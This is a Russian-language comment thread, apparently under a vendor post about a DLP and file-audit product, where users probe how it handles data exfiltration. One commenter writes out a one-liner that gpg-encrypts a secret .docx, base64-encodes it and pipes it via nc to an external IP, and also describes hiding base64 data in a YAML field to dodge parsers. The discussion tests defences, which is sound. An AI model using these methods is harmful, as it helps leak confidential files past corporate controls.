Блокировки хорошие и не очень

[Tzimie]

Есть ли лог изменений файлов?
У нас используется какой то древний change auditor. Он часто пропускает если кто-то то меняет файл по \UNC\path

[SearchInform_team]

Лог изменения файлов да, есть!

[amarao]

выглядит очень интересно. А что произойдёт при попытке отправить документ с коммерческой тайной на посторонний сайт?

например, так:

(cat < secret.docx) | gpg -c | base64 |nc 172.217.19.46 53

[siniysv]

Мне тоже интересно, пока не видел решений DLP, позволяющий поймать подобные манипуляции. Можно попробовать ограничить доступ к файлам определенных типов только с использованием списка разрешенных приложений, да и то почти всегда можно нахимичить что-то. Пока IRM/DRM выглядит более надежно, но сложнее и проблемнее в целом. Может, в облаках дела получше, не проверял.

[AlexParfentiev]

Как раз о том и речь. У нас иной подход — разграничение доступа на базе контента, то есть содержания внутри файла, а не формальных признаков по типу доступ к папке или отдельному файлу. Поэтому соглашусь с вами, задача действительно актуальная.

[AlexParfentiev]

спасибо за вопрос!

Если говорить в целом про возможности FileAuditor блокировать пересылку зашифрованного документа, то будет зависеть от настроенных правил. Если у пользователя заблокирован доступ, он не сможет никаких манипуляций выполнить с файлом, в том числе и шифровать его. Но, повторюсь, нужно поработать с настройками.
Вторая часть вопроса — попытка отправить комтайну на посторонний сайт — и DLP, и FileAuditor могут запретить действие просто из за самого факта «запароленности», то есть отработает не правило про комтайну, а правило «шифрованное содержание».

DLP работает и на линуксе, и на винде. Агентское решение «файлового аудитора» для линукса пока в разработке, поэтому на данный момент можно использовать только сетевой модуль (который подключается с сервера по NFS к машине с линуксом).

[amarao]

А как вы определяете шифрованность? Например, если это dmcrypt в plain режиме, там нет никаких сигнатур. Просто блоб с расширением .wav, например.

[labyrinth]

Пляшем от результата. Если соответствующий парсер (для разных форматов разные) возвращает ошибку (не смог достать текст или другую информацию, как в случае с wav), то делаем вывод о шифрованности.

[amarao]

Окей, я сказал wav не посмотрев на то, что он весь chunked. Хорошо, оно будет application/yaml, внутри которого будет так:

---
bugreport:
  type: segfault
  dump: |
      (base64 here)
...

Ваш парсер видит, что это application/yaml. Смотрит во внутрь. Действительно, yaml.

Что делать? Пропускать? Блокировать?

[labyrinth]

Что настроим, то и будет. Можно пропускать, можно блочить все файлы этого формата безотносительно содержимого. Можно блочить, но только если парсер не достал текст.

Скажу так, если у вы хотите придумать пример, который покажет, что софт что-то пропустит, то вы такой пример придумаете. Абсолютной защиты нет. Вопрос в том, насколько среднестатистический пользователь сможет реализовать предложенный способ обхода. За скобками оставляем вопрос, с чего вдруг пользователь начнёт городить подобный огород. В конце концов, если от отойти предотвращения к обнаружению, то сработает комплексный подход. Следы (явные и понятные) останутся в DLP как минимум в Keylogger'e и MonitorController'e. В других каналах тоже что-то будет, но уже не такое очевидное, как по мне.

[amarao]

Вы хотите блочить весь yaml? А как насчёт JSON, XML и HTML?

В принципе, airgapped доступ в интернет очень безопасный. Но не очень функциональный.

Я не совсем понял, в каком месте остается всё. Если человек на github зальёт в gist шифрованный base64, то какие именно у вас останутся следы? Факт обращения к github'у?

[post_ed]

Если заархивировать?

[AlexParfentiev]

Проблем нет. Если внутри архива лежит текстовый файл, программа и будет его проверять как все другие текстовые файлы.